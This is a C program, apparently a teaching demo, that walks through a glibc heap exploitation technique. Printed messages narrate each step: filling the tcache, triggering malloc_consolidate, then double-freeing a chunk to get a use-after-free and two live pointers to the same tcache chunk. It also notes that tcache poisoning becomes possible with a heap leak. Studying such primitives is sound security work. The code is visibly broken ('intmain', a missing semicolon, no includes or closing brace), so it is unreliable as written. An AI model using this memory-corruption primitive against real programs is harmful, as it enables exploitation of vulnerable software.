intmain() { printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n"); printf("It would also allow us to perform tcache poisoning if we had a heap leak.\n\n");
printf("Lets fill up the tcache to force fastbin usage...\n\n");
void *ptr[7];
for(int i = 0; i < 7; i++) ptr[i] = malloc(0x40); for(int i = 0; i < 7; i++) free(ptr[i]);
void* p1 = calloc(1,0x40); printf("Allocate another chunk of the same size p1=%p \n", p1); printf("Freeing p1 will add it to the fastbin.\n\n"); free(p1);
void* p3 = malloc(0x400)
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n"); printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n"); printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n"); printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
assert(p1 == p3);
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n"); free(p1); // vulnerability
printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n"); printf("We have thus achieved UAF on tcache!\n");
printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n"); printf("the tcache bin. p3 and p1 will still be pointing to it.\n"); void *p4 = malloc(0x400);
assert(p4 == p3);
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n"); printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4); printf("We have achieved duplication!\n\n");
printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n"); printf("have behaved the same, just being taken from the top instead of from the tcache bin.");